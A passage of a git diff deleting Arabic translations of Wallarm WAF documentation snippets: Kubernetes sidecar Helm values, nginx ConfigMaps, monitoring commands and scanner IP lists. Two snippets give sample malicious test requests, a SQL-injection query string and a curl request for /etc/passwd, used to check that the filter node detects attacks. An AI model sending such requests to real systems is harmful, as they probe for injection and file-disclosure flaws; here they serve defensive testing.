التشغيل**. - - ``` - NAME READY STATUS RESTARTS AGE - mychart-856f957bbd-cr4kt 2/2 جاري التشغيل 0 3m48s - ``` -2. اذهب إلى لوحة تحكم Wallarm → **العقد** عبر الرابط أدناه وتأكد من عرض عقدة جديدة. تُستخدم هذه العقدة المُنشأة لتصفية الطلبات الموجهة إلى تطبيقك. - * https://us1.my.wallarm.com/nodes/ لـ[السحابة الأمريكية](../../../about-wallarm/overview.md#us-cloud) - * https://my.wallarm.com/nodes/ لـ[السحابة الأوروبية](../../../about-wallarm/overview.md#eu-cloud) -3. أرسل طلباً تجريبياً ضاراً للتطبيق كما هو موضح في هذه [التعليمات](../../../admin-en/installation-check-operation-en.md#2-run-a-test-attack). -4. اذهب إلى لوحة تحكم Wallarm → **الهجمات** عبر الرابط أدناه وتأكد من عرض هجوم في القائمة: - * https://us1.my.wallarm.com/attacks/ لـ[السحابة الأمريكية](../../../about-wallarm/overview.md#us-cloud) - * https://my.wallarm.com/attacks/ لـ[السحابة الأوروبية](../../../about-wallarm/overview.md#eu-cloud) \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/values-wallarm-description-2.18.md b/include-ar/kubernetes-sidecar-container/values-wallarm-description-2.18.md deleted file mode 100644 index 69519f35b3..0000000000 --- a/include-ar/kubernetes-sidecar-container/values-wallarm-description-2.18.md +++ /dev/null @@ -1,28 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 2.18.1-5 - pullPolicy: Always - # نقطة نهاية API Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - wallarm_host_api: "api.wallarm.com" - # اسم المستخدم للمستخدم بدور النشر - deploy_username: "username" - # كلمة المرور للمستخدم بدور النشر - deploy_password: "password" - # المنفذ الذي يقبل الحاوية طلبات واردة عليه، - # يجب أن تكون القيمة مطابقة لports.containerPort - # في تعريف حاوية التطبيق الرئيسية الخاصة بك - app_container_port: 80 - # وضع تصفية الطلبات: - # "off" لتعطيل معالجة الطلبات - # "monitoring" لمعالجة الطلبات لكن دون الحظر - # "block" لمعالجة كل الطلبات وحظر المضرة منها - mode: "block" - # كمية الذاكرة بجيجابايت لبيانات تحليلات الطلبات - tarantool_memory_gb: 2 - # تعيين إلى "true" لتفعيل وظيفة حظر الـIP - enable_ip_blocking: "false" -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.0.md b/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.0.md deleted file mode 100644 index b85978aaae..0000000000 --- a/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.0.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 3.0.0-3 - pullPolicy: Always - # نقطة نهاية واجهة برمجة التطبيقات لـ Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - wallarm_host_api: "api.wallarm.com" - # اسم المستخدم للمستخدم بدور النشر - deploy_username: "username" - # كلمة المرور للمستخدم بدور النشر - deploy_password: "password" - # المنفذ الذي يقبل الحاوية علىه الطلبات الواردة، - # يجب أن تكون القيمة مطابقة لـ ports.containerPort - # في تعريف حاوية التطبيق الرئيسية الخاصة بك - app_container_port: 80 - # وضع فلترة الطلبات: - # "off" لتعطيل معالجة الطلبات - # "monitoring" لمعالجة الطلبات ولكن دون حظرها - # "safe_blocking" لحظر الطلبات الخبيثة القادمة من عناوين IPs المدرجة بالقائمة الرمادية - # "block" لمعالجة كل الطلبات وحظر الطلبات الخبيثة - mode: "block" - # كمية الذاكرة بالجيجابايت لبيانات تحليل الطلبات - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.2.md b/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.2.md deleted file mode 100644 index 7ba6a9d78c..0000000000 --- a/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.2.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 3.2.1-1 - pullPolicy: Always - # واجهة برمجة تطبيقات Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - wallarm_host_api: "api.wallarm.com" - # اسم المستخدم للمستخدم ذي دور النشر - deploy_username: "username" - # كلمة مرور المستخدم ذي دور النشر - deploy_password: "password" - # المنفذ الذي يقبل خلاله الحاوية الطلبات الواردة، - # يجب أن تكون القيمة مطابقة لports.containerPort - # في تعريف حاوية التطبيق الرئيسية الخاصة بك - app_container_port: 80 - # وضع تصفية الطلبات: - # "off" لتعطيل معالجة الطلبات - # "monitoring" لمعالجة الطلبات ولكن دون حظرها - # "safe_blocking" لحظر الطلبات الضارة القادمة من عناوين IP المدرجة في القائمة الرمادية - # "block" لمعالجة جميع الطلبات وحظر الضار منها - mode: "block" - # كمية الذاكرة بالجيجابايت لبيانات تحليل الطلبات - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.6.md b/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.6.md deleted file mode 100644 index 87c9b23591..0000000000 --- a/include-ar/kubernetes-sidecar-container/values-wallarm-description-3.6.md +++ /dev/null @@ -1,27 +0,0 @@ -``` -Wallarm: - image: - repository: wallarm/node - tag: 3.6.2-1 - pullPolicy: Always - # نقطة نهاية واجهة برمجة تطبيقات Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - wallarm_host_api: "api.wallarm.com" - # اسم مستخدم للشخص بدور "النشر" - deploy_username: "username" - # كلمة مرور الشخص بدور "النشر" - deploy_password: "password" - # المنفذ الذي يقبل الحاوية الطلبات الواردة عليه، - # يجب أن تكون القيمة مطابقة لـports.containerPort - # في تعريف حاوية التطبيق الرئيسية لديك - app_container_port: 80 - # وضعية تصفية الطلبات: - # "off" لتعطيل معالجة الطلبات - # "monitoring" لمعالجة الطلبات دون حظرها - # "safe_blocking" لحظر الطلبات الضارة القادمة من عناوين IP المدرجة بالقائمة الرمادية - # "block" لمعالجة جميع الطلبات وحظر الضارة منها - mode: "block" - # كمية الذاكرة بالغيغابايت لبيانات تحليلات الطلبات - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/values-wallarm-description-4.0.md b/include-ar/kubernetes-sidecar-container/values-wallarm-description-4.0.md deleted file mode 100644 index 9dc02a4871..0000000000 --- a/include-ar/kubernetes-sidecar-container/values-wallarm-description-4.0.md +++ /dev/null @@ -1,25 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 4.0.2-1 - pullPolicy: Always - # نقطة نهاية واجهة برمجة تطبيقات Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - wallarm_host_api: "api.wallarm.com" - # رمز نود Wallarm - wallarm_api_token: "token" - # المنفذ الذي يقبل الحاوية طلبات الواردة عليه، - # يجب أن تكون القيمة مطابقة لports.containerPort - # في تعريف حاوية التطبيق الرئيسي الخاص بك - app_container_port: 80 - # وضع تصفية الطلبات: - # "off" لتعطيل معالجة الطلبات - # "monitoring" لمعالجة الطلبات دون حظرها - # "safe_blocking" لحظر الطلبات الضارة الصادرة من عناوين IP مدرجة في القائمة الرمادية - # "block" لمعالجة جميع الطلبات وحظر الضارة منها - mode: "block" - # كمية الذاكرة بالجيجابايت لبيانات تحليلات الطلبات - tarantool_memory_gb: 2 -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md b/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md deleted file mode 100644 index d87f77cb0e..0000000000 --- a/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md +++ /dev/null @@ -1,23 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_application 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md b/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md deleted file mode 100644 index 0a8ad599ed..0000000000 --- a/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md +++ /dev/null @@ -1,23 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md b/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md deleted file mode 100644 index 4b28759aa2..0000000000 --- a/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md +++ /dev/null @@ -1,32 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - # يرجى استبدال أدناه بوضع فلترة الطلبات: - # off لتعطيل معالجة الطلبات - # monitoring لمعالجة الطلبات دون حظرها - # safe_blocking لحظر الطلبات الضارة القادمة من عناوين IP المدرجة في القائمة الرمادية فقط - # block لمعالجة جميع الطلبات وحظر الضارة منها - wallarm_mode ; - # wallarm_application 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - # يرجى استبدال أدناه برقم المنفذ - # الذي يقبل الحاوية طلبات واردة عليه، - # يجب أن تكون القيمة مطابقة لports.containerPort - # في تعريف حاوية تطبيقك الرئيسية - proxy_pass http://localhost:; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md b/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md deleted file mode 100644 index 26d4cc9ae0..0000000000 --- a/include-ar/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md +++ /dev/null @@ -1,32 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - # الرجاء استبدال أدناه بنمط تصفية الطلبات: - # off لتعطيل معالجة الطلبات - # monitoring لمعالجة الطلبات ولكن دون حظرها - # safe_blocking لحظر الطلبات الضارة الواردة فقط من عناوين IP المدرجة في القائمة الرمادية - # block لمعالجة كل الطلبات وحظر الضار منها - wallarm_mode ; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - # الرجاء استبدال أدناه برقم المنفذ - # الذي يستقبل عليه الحاوية الطلبات الواردة، - # يجب أن يكون القيمة مطابقة لports.containerPort - # في تعريف حاوية التطبيق الرئيسية لديك - proxy_pass http://localhost:; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-ar/monitoring/collectd-config-location.md b/include-ar/monitoring/collectd-config-location.md deleted file mode 100644 index d9fbc29082..0000000000 --- a/include-ar/monitoring/collectd-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "توزيعات تعتمد على DEB" - ```bash - /etc/collectd/wallarm-collectd.conf.d/nginx-wallarm.conf - ``` -=== "توزيعات تعتمد على RPM" - ```bash - /etc/wallarm-collectd.d/nginx-wallarm.conf - ``` \ No newline at end of file diff --git a/include-ar/monitoring/collectd-nagios-fetch-metric-2.18.md b/include-ar/monitoring/collectd-nagios-fetch-metric-2.18.md deleted file mode 100644 index 36b57aaf0b..0000000000 --- a/include-ar/monitoring/collectd-nagios-fetch-metric-2.18.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "لينكس" - ```bash - /usr/bin/collectd-nagios -s /var/run/collectd-unixsock -n <اسم المقياس بدون اسم المضيف> -H - ``` -=== "دوكر" - ```bash - docker exec <اسم الحاوية> /usr/bin/collectd-nagios -s /var/run/collectd-unixsock -n <اسم المقياس بدون اسم المضيف> -H <معرف الحاوية> - ``` \ No newline at end of file diff --git a/include-ar/monitoring/collectd-nagios-fetch-metric.md b/include-ar/monitoring/collectd-nagios-fetch-metric.md deleted file mode 100644 index 234562f4f4..0000000000 --- a/include-ar/monitoring/collectd-nagios-fetch-metric.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "لينكس" - ```bash - /usr/bin/collectd-nagios -s /var/run/wallarm-collectd-unixsock -n <اسم المقياس بدون اسم المضيف> -H - ``` -=== "دوكر" - ```bash - docker exec <اسم الحاوية> /usr/bin/collectd-nagios -s /var/run/wallarm-collectd-unixsock -n <اسم المقياس بدون اسم المضيف> -H <معرّف الحاوية> - ``` \ No newline at end of file diff --git a/include-ar/monitoring/collectd-restart-2.16.md b/include-ar/monitoring/collectd-restart-2.16.md deleted file mode 100644 index 01109af54d..0000000000 --- a/include-ar/monitoring/collectd-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "أوبونتو 14.04 LTS" - ```bash - sudo service collectd restart - ``` -=== "توزيعات أخرى مدعومة" - ```bash - sudo systemctl restart collectd - ``` \ No newline at end of file diff --git a/include-ar/monitoring/docker-prerequisites.md b/include-ar/monitoring/docker-prerequisites.md deleted file mode 100644 index eb21ab6f06..0000000000 --- a/include-ar/monitoring/docker-prerequisites.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "المتطلبات الأساسية" - يُفترض أن - - * [Docker Community Edition](https://docs.docker.com/install/) و[`docker-compose`](https://docs.docker.com/compose/install/) مثبتان بالفعل على مضيف Docker `10.0.30.30`. - * تم بالفعل نشر عقدة التصفية `node.example.local`، وتم تهيئتها، وهي متاحة للتهيئة الإضافية (على سبيل المثال، عبر بروتوكول SSH)، وتعمل. \ No newline at end of file diff --git a/include-ar/monitoring/install-collectd-utils.md b/include-ar/monitoring/install-collectd-utils.md deleted file mode 100644 index a13753dc02..0000000000 --- a/include-ar/monitoring/install-collectd-utils.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "توزيعات تعتمد على DEB" - ```bash - sudo apt -y install --no-install-recommends collectd-utils - ``` -=== "توزيعات تعتمد على RPM" - ```bash - sudo yum install -y collectd-utils - ``` \ No newline at end of file diff --git a/include-ar/monitoring/install-zabbix-agent.md b/include-ar/monitoring/install-zabbix-agent.md deleted file mode 100644 index 096be25362..0000000000 --- a/include-ar/monitoring/install-zabbix-agent.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "التوزيعات المبنية على DEB" - ```bash - sudo apt -y install zabbix-agent - ``` -=== "التوزيعات المبنية على RPM" - ```bash - sudo yum install -y zabbix-agent - ``` \ No newline at end of file diff --git a/include-ar/monitoring/metric-example.md b/include-ar/monitoring/metric-example.md deleted file mode 100644 index e444d2f6ca..0000000000 --- a/include-ar/monitoring/metric-example.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "مثال على المقياس" - يُظهر هذا المثال كيفية العمل مع المقياس الفردي [`wallarm_nginx/gauge-abnormal`](../../admin-en/monitoring/available-metrics.md#number-of-requests)، والذي يُظهر عدد الطلبات التي تمت معالجتها بواسطة عقدة الفلتر. \ No newline at end of file diff --git a/include-ar/monitoring/nagios-restart-2.16.md b/include-ar/monitoring/nagios-restart-2.16.md deleted file mode 100644 index ab55c5778d..0000000000 --- a/include-ar/monitoring/nagios-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "أوبونتو 14.04" - ```bash - sudo service nagios restart - ``` -=== "التوزيعات الأخرى المدعومة" - ```bash - sudo systemctl restart nagios - ``` \ No newline at end of file diff --git a/include-ar/monitoring/notification-config-location.md b/include-ar/monitoring/notification-config-location.md deleted file mode 100644 index 0bfab06516..0000000000 --- a/include-ar/monitoring/notification-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "التوزيعات المبنية على DEB" - ```bash - /etc/collectd/conf.d/traps.conf - ``` -=== "التوزيعات المبنية على RPM" - ```bash - /etc/collectd.d/traps.conf - ``` \ No newline at end of file diff --git a/include-ar/monitoring/nrpe-restart-2.16.md b/include-ar/monitoring/nrpe-restart-2.16.md deleted file mode 100644 index 85a61adf0e..0000000000 --- a/include-ar/monitoring/nrpe-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "أوبونتو 14.04" - ```bash - sudo service nrpe restart - ``` -=== "التوزيعات المدعومة الأخرى" - ```bash - sudo systemctl restart nrpe - ``` \ No newline at end of file diff --git a/include-ar/monitoring/sample-malicious-request-for-deprecated.md b/include-ar/monitoring/sample-malicious-request-for-deprecated.md deleted file mode 100644 index f3d387962e..0000000000 --- a/include-ar/monitoring/sample-malicious-request-for-deprecated.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! معلومة "مثال" - ``` bash - curl -I “http://node.example.local/?id='or+1=1--a-'” - ``` \ No newline at end of file diff --git a/include-ar/monitoring/sample-malicious-request.md b/include-ar/monitoring/sample-malicious-request.md deleted file mode 100644 index 70e7e0ffad..0000000000 --- a/include-ar/monitoring/sample-malicious-request.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! معلومة "مثال" - ``` bash - curl -I http://node.example.local/etc/passwd - ``` \ No newline at end of file diff --git a/include-ar/monitoring/tarantool-config-location.md b/include-ar/monitoring/tarantool-config-location.md deleted file mode 100644 index e5a55805c3..0000000000 --- a/include-ar/monitoring/tarantool-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "توزيعات تعتمد على DEB" - ```bash - /etc/collectd/collectd.conf.d/wallarm-tarantool.conf - ``` -=== "توزيعات تعتمد على RPM" - ```bash - /etc/collectd.d/wallarm-tarantool.conf - ``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-check-latest.md b/include-ar/monitoring/wallarm-status-check-latest.md deleted file mode 100644 index 03a66be529..0000000000 --- a/include-ar/monitoring/wallarm-status-check-latest.md +++ /dev/null @@ -1,6 +0,0 @@ -1. نفذ الأمر `curl http://127.0.0.8/wallarm-status` إذا كانت الإعدادات الافتراضية لخدمة الإحصاءات قيد الاستخدام. -2. وإلا، راجع ملف الإعداد `/etc/nginx/conf.d/wallarm-status.conf` (`/etc/nginx/wallarm-status.conf` لمثبت الكل في واحد) لإنشاء أمر مشابه للأمر أعلاه. - -``` -{"requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-check-no-aio.md b/include-ar/monitoring/wallarm-status-check-no-aio.md deleted file mode 100644 index 04c9e4e9f5..0000000000 --- a/include-ar/monitoring/wallarm-status-check-no-aio.md +++ /dev/null @@ -1,6 +0,0 @@ -1. نفّذ الأمر `curl http://127.0.0.8/wallarm-status` إذا كانت الإعدادات الافتراضية لخدمة الإحصائيات قيد الاستخدام. -2. وإلا، اطلع على ملف الإعداد `/etc/nginx/conf.d/wallarm-status.conf` لتكوين الأمر الصحيح المشابه لما ذُكر أعلاه. - -``` -{"requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-check-padded-latest.md b/include-ar/monitoring/wallarm-status-check-padded-latest.md deleted file mode 100644 index 6765f3ad8a..0000000000 --- a/include-ar/monitoring/wallarm-status-check-padded-latest.md +++ /dev/null @@ -1,5 +0,0 @@ -1. نفذ الأمر `curl http://127.0.0.8/wallarm-status` إذا كان يتم استخدام التكوين الافتراضي لخدمة الإحصائيات. -2. وإلا، راجع ملف التكوين `/etc/nginx/conf.d/wallarm-status.conf` لبناء الأمر الصحيح المشابه للأمر أعلاه. -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-check-padded.md b/include-ar/monitoring/wallarm-status-check-padded.md deleted file mode 100644 index 2a5edaacd1..0000000000 --- a/include-ar/monitoring/wallarm-status-check-padded.md +++ /dev/null @@ -1,5 +0,0 @@ -1. نفذ الأمر `curl http://127.0.0.8/wallarm-status` إذا كانت التهيئة الافتراضية لخدمة الإحصاءات قيد الاستخدام. -2. وإلا، انظر ملف الإعدادات `/etc/nginx/conf.d/wallarm-status.conf` لبناء أمر صحيح مشابه للأمر أعلاه. -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-check.md b/include-ar/monitoring/wallarm-status-check.md deleted file mode 100644 index 66cb52158c..0000000000 --- a/include-ar/monitoring/wallarm-status-check.md +++ /dev/null @@ -1,6 +0,0 @@ -1. نفذ الأمر `curl http://127.0.0.8/wallarm-status` إذا كان يتم استخدام التكوين الافتراضي لخدمة الإحصائيات. -2. وإلا، انظر إلى ملف التكوين `/etc/nginx/conf.d/wallarm-status.conf` لبناء أمر صحيح مماثل لما ذُكر أعلاه. - -``` -{"requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-output-latest.md b/include-ar/monitoring/wallarm-status-output-latest.md deleted file mode 100644 index 7a391a6818..0000000000 --- a/include-ar/monitoring/wallarm-status-output-latest.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-output-padded-latest.md b/include-ar/monitoring/wallarm-status-output-padded-latest.md deleted file mode 100644 index 7a391a6818..0000000000 --- a/include-ar/monitoring/wallarm-status-output-padded-latest.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-output-padded.md b/include-ar/monitoring/wallarm-status-output-padded.md deleted file mode 100644 index 45e4585938..0000000000 --- a/include-ar/monitoring/wallarm-status-output-padded.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/wallarm-status-output.md b/include-ar/monitoring/wallarm-status-output.md deleted file mode 100644 index 45e4585938..0000000000 --- a/include-ar/monitoring/wallarm-status-output.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-ar/monitoring/zabbix-agent-restart-2.16.md b/include-ar/monitoring/zabbix-agent-restart-2.16.md deleted file mode 100644 index 2340b3d254..0000000000 --- a/include-ar/monitoring/zabbix-agent-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "أوبونتو 14.04" - ```bash - sudo service zabbix-agent restart - ``` -=== "التوزيعات الأخرى المدعومة" - ```bash - sudo systemctl restart zabbix-agent - ``` \ No newline at end of file diff --git a/include-ar/node-cloud-sync-configuration-example.md b/include-ar/node-cloud-sync-configuration-example.md deleted file mode 100644 index 90705dbd8f..0000000000 --- a/include-ar/node-cloud-sync-configuration-example.md +++ /dev/null @@ -1,17 +0,0 @@ -مثال على محتوى صالح لملف `node.yaml`: - -```bash -hostname: example-node-name -uuid: ea1xa0xe-xxxx-42a0-xxxx-b1b446xxxxxx -secret: b827axxxxxxxxxxxcbe45c855c71389a2a5564920xxxxxxxxxxxxxxxxxxc4613260 - -api: - host: api.wallarm.com - port: 443 - ca_verify: true - -syncnode: - owner: root - group: wallarm - mode: 0640 -``` \ No newline at end of file diff --git a/include-ar/prereq-en.md b/include-ar/prereq-en.md deleted file mode 100644 index 36cfbb1bf6..0000000000 --- a/include-ar/prereq-en.md +++ /dev/null @@ -1,5 +0,0 @@ -متطلبات تثبيت Wallarm: - -* نظام التشغيل المدعوم. -* صلاحيات الجذر. -* حساب Wallarm على بوابة Wallarm في سحابة [الولايات المتحدة](https://us1.my.wallarm.com) أو [الاتحاد الأوروبي](https://my.wallarm.com). \ No newline at end of file diff --git a/include-ar/rechecker-ip-us.md b/include-ar/rechecker-ip-us.md deleted file mode 100644 index 75444e0431..0000000000 --- a/include-ar/rechecker-ip-us.md +++ /dev/null @@ -1,14 +0,0 @@ -* 34.94.100.64 -* 35.235.101.133 -* 34.94.16.235 -* 35.236.51.79 -* 35.236.55.214 -* 35.236.127.211 -* 35.236.126.84 -* 35.236.3.158 -* 34.94.218.5 -* 34.94.203.193 -* 34.94.238.221 -* 35.236.118.146 -* 35.236.1.4 -* 35.236.20.89 \ No newline at end of file diff --git a/include-ar/scanner-allowlist-warning.md b/include-ar/scanner-allowlist-warning.md deleted file mode 100644 index ca5ecf8dd2..0000000000 --- a/include-ar/scanner-allowlist-warning.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! تحذير "تعطيل حظر عناوين IP الخاصة بماسح Wallarm" - لاحظ إذا كنت تستخدم وضع الحظر بشكل افتراضي (`default block;`) عند كشف الطلبات الضارة، يجب أن تحدد صراحةً قائمة بعناوين IP التي يجب ألا يتم حظر الطلبات القادمة منها بواسطة ماسح Wallarm. - - يمكنك قراءة المزيد عن تعطيل وضع الحظر لعناوين IP للماسح [هنا](scanner-ips-allowlisting.md). \ No newline at end of file diff --git a/include-ar/scanner-ip-request-us.md b/include-ar/scanner-ip-request-us.md deleted file mode 100644 index e365e30572..0000000000 --- a/include-ar/scanner-ip-request-us.md +++ /dev/null @@ -1,34 +0,0 @@ -* 192.155.80.80 -* 192.155.80.95 -* 23.239.21.160 -* 50.116.14.31 -* 139.162.137.47 -* 192.155.81.166 -* 192.155.81.173 -* 192.155.81.185 -* 192.155.81.193 -* 192.155.81.195 -* 192.155.81.201 -* 192.155.81.204 -* 192.155.81.205 -* 192.155.81.210 -* 192.155.81.220 -* 192.155.81.32 -* 192.155.81.39 -* 192.155.81.62 -* 192.155.81.97 -* 23.239.21.250 -* 45.33.63.36 -* 45.79.100.119 -* 45.79.100.174 -* 45.79.100.81 -* 45.79.73.64 -* 45.79.74.89 -* 50.116.12.25 -* 50.116.2.193 -* 50.116.2.228 -* 74.207.253.161 -* 74.207.253.65 -* 173.230.150.9 -* 173.230.150.13 -* 173.230.150.14 \ No newline at end of file diff --git a/include-ar/scanner-ip-request.md b/include-ar/scanner-ip-request.md deleted file mode 100644 index 5d8c2c68d7..0000000000 --- a/include-ar/scanner-ip-request.md +++ /dev/null @@ -1,16 +0,0 @@ -* 213.52.130.153 -* 213.52.130.179 -* 213.52.130.185 -* 213.52.130.198 -* 176.58.99.214 -* 212.71.244.128 -* 212.71.244.92 -* 178.79.168.193 -* 178.79.168.239 -* 178.79.168.200 -* 